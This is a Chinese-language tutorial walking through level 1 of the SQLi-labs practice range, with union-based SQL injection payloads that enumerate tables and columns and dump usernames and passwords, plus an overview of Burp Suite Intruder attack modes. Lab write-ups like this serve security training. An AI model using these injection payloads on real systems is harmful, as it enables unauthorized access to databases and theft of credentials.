sqlilabs靶场通关详解

文章目录

1、less-1详解

1.1、源码分析

  • 函数作用参考官方文档php手册

  • isset --- 检测变量是否已声明并且其值不为 null

  • fopen --- 打开文件或者 URL

  • fopen中的mode 参数指定了所要求到该流的访问类型

mode 说明
' r ' 只读,将文件指针指向文件头。
' r+ ' 读写,将文件指针指向文件头。
' w ' 写,将文件指针指向文件头并将文件大小截为零。文件不存在则尝试创建。
' w+ ' 读写,否则行为同 'w'。
' a ' 写,文件指向文件末尾,文件不存在则尝试创建。fseek() 没有效果,写入总是追加
' a+ ' 读写,文件指针指向文件末尾,文件不存在则尝试创建。fseek() 只相应读取位置,写入总是追加
  • 查询语句

1.2、测试

相关前置知识点击此处

1.2.1、判断闭合符
  • 源码分析出闭合符为单引号
1.2.2、判断列数
  • 使用order by

  • 出现Unknown column '4' in 'order clause'说明无第四列

1.2.3、判断回显位
  • id=-2的目的时让前半条查询查不到任何记录,UNION SELECT的结果才在页面上显示
  • 接下来就可以使用函数获取信息
sql 复制代码
Less-1/?id=-2'union select 1,database(),user();--+
1.2.4、获取表名、列名、密码

相关前置知识

  • 若开源,直接下载查看即可
  • 若此时闭源,则需要进行查询
sql 复制代码
/Less-1/?id=-2'union select 1,(select table_name from information_schema.tables where table_schema='security'),user();--+
  • 直接使用查询会报错Subquery returns more than 1 row,是因为子查询返回了"多行数据",但把它放在了只能放一个值的位置UNION SELECT 的某一列里,解决方法如下两种:
  1. limit
    • 手动更改
    • 使用bp进行爆破
      在要爆破的字段前add

  • 查看返回值不一致的说明爆破成功
  1. group_concat
    • 将分组中的多个值,连接成一个字符串返回。


    • 对应的username和password会形成一个字符串
sql 复制代码
#获取表名
/Less-1/?id=-2'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ) ,user();--+
#获取列名
/Less-1/?id=-2'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ) ,user();--+
#获取用户名和密码
/Less-1/?id=-2'union select 1,(select group_concat(username,password) from users ) ,3;--+

2、BurpSuit使用

2.1、 Sniper(狙击手)

  • 核心逻辑:单组 Payload,多位置,逐个测试。

  • 执行流程:假设有2个位置(如参数A、参数B)和Payload集 1, 2,则顺序为:先在位置A依次尝试1、2(即 A=1、A=2);再在位置B依次尝试1、2(即 B=1、B=2)。

  • 适用场景:适合测试单个位置的多种值,或多个位置但每个位置需独立测试的情况(如分别测试用户名、密码的单个值)。

2.2、 Battering ram(攻城锤)

  • 核心逻辑:单组 Payload,多位置,同步填充

  • 执行流程:假设有2个位置(参数A、参数B)和Payload集 1, 2,则顺序为:先将1同时填入A和B(即 A=1 且 B=1);再将2同时填入A和B(即 A=2 且 B=2)。

  • 适用场景:适合多个位置需使用相同Payload的情况(如测试多个参数都用同一个用户名)。

2.3、 Pitchfork(草叉)

  • 核心逻辑:多组 Payload,每个位置对应不同的Payload集,同时迭代所有Payload集(取每个集的"对应位置"payload)。

  • 执行流程:假设位置A的Payload集是 1, 2,位置B的Payload集是 a, b,则顺序为:取每个集的第1个A=1 且 B=a);取每个集的第2个(A=2 且 B=b)。

  • 适用场景:适合多个位置需对应不同但索引一致的Payload(如用户名列表和密码列表,用户名第1个对应密码第1个)。

2.4、 Cluster bomb(集束炸弹)

  • 核心逻辑:多组 Payload,全排列组合。

  • 执行流程:假设位置A的Payload集是 1, 2,位置B的Payload集是 a, b,则顺序为:A=1 且 B=a;A=1 且 B=b;A=2 且 B=a;A=2 且 B=b。

  • 适用场景:适合需要 exhaustive 测试所有组合的情况(如用户名和密码的所有可能组合,组合数量=Paylaod集数量的乘积)。

相关推荐
倔强的石头_6 小时前
《Kingbase护城河》——猎捕慢查询:执行计划的微观解析与索引调优实战
数据库
SelectDB8 小时前
Apache Doris Python UDF:让 SQL 直接调用 Python 生态,支撑 Agent 时代复杂业务逻辑
大数据·数据库·python
泯泷9 小时前
第 2 篇:设计第一套字节码:Opcode、Instruction 与 Constant Pool
前端·javascript·安全
泯泷9 小时前
第 1 篇:从 1 + 2 开始:亲手写出第一台 JSVM
前端·javascript·安全
jiayou641 天前
KingbaseES 表级与列级加密完全指南
数据库·后端
GBASE2 天前
G术时刻 |GBase 8s数据库事务并发控制之封锁技术介绍(下)
数据库
xiezhr3 天前
逛GitHub发现了一款免费的带AI功能的数据库管理工具
数据库·ai编程·dba
唐青枫4 天前
MySQL JSON 实战详解:从存储、查询、更新到 JSON_TABLE 与索引
sql·mysql
吃糖的小孩4 天前
给 QQ AI 机器人设计“可控记忆”:会话摘要、手动长期记忆与角色卡边界
数据库
小满8784 天前
5.Mysql事务隔离级别与锁机制
mysql